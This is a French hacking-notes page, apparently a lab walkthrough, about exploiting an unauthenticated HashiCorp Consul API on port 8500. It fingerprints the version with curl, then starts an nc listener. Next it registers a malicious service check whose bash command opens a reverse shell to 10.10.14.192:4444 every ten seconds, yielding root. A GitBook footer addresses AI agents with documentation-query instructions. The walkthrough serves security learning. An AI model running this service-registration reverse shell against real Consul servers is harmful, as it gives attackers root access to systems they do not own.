> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/ports-and-services/consul-8500.md).

# Consul - 8500

### Découverte du port 8500 (Consul)

Port **8500** expose l'interface web de Consul.

<figure><img src="/files/f6ea283d0f1942556ad34541561bd792ce7989ed" alt=""><figcaption></figcaption></figure>

Après avoir interrogé `127.0.0.1:8500/ui/`, version de Consul **1.19.2** est trouvée.

```bash
curl 127.0.0.1:8500/ui/
```

<figure><img src="/files/23e4c7b6b45497fa856524ba7fb0b0985e4299ce" alt=""><figcaption></figcaption></figure>

#### Vérification de l'accès à l'API REST

Testez si l'API REST de Consul est accessible sans authentification :

```bash
curl http://127.0.0.1:8500/v1/agent/self
```

La réponse confirme que l'API est exposée.

### Exploitation via un check malveillant

{% embed url="<https://www.exploit-db.com/exploits/51117>" %}

Enregistrez un service avec un check malveillant qui lance un reverse shell bash :

```bash
nc -lvnp 4444
```

#### Enregistrement d'un service avec un check malveillant

Consul permet l'enregistrement dynamique de services via des requêtes HTTP. Exploitez ce comportement pour créer un check qui exécute une commande bash.

```bash
curl -X PUT http://127.0.0.1:8500/v1/agent/service/register -d '{
  "Name": "pwned",
  "ID": "pwned",
  "Check": {
    "Args": ["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.14.192/4444 0>&1"],
    "Interval": "10s"
  }
}'
```

Comportement de la charge utile :

* `Check.Args[]` : contient une commande bash qui ouvre un **shell inversé**.
* `Intervalle` : définit une exécution automatique toutes les 10 secondes.

L'exécution de cette charge utile renvoie un shell root.

<figure><img src="/files/5b7f66d3872366771a0e3975ed4c44c58f4c4b22" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/ports-and-services/consul-8500.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
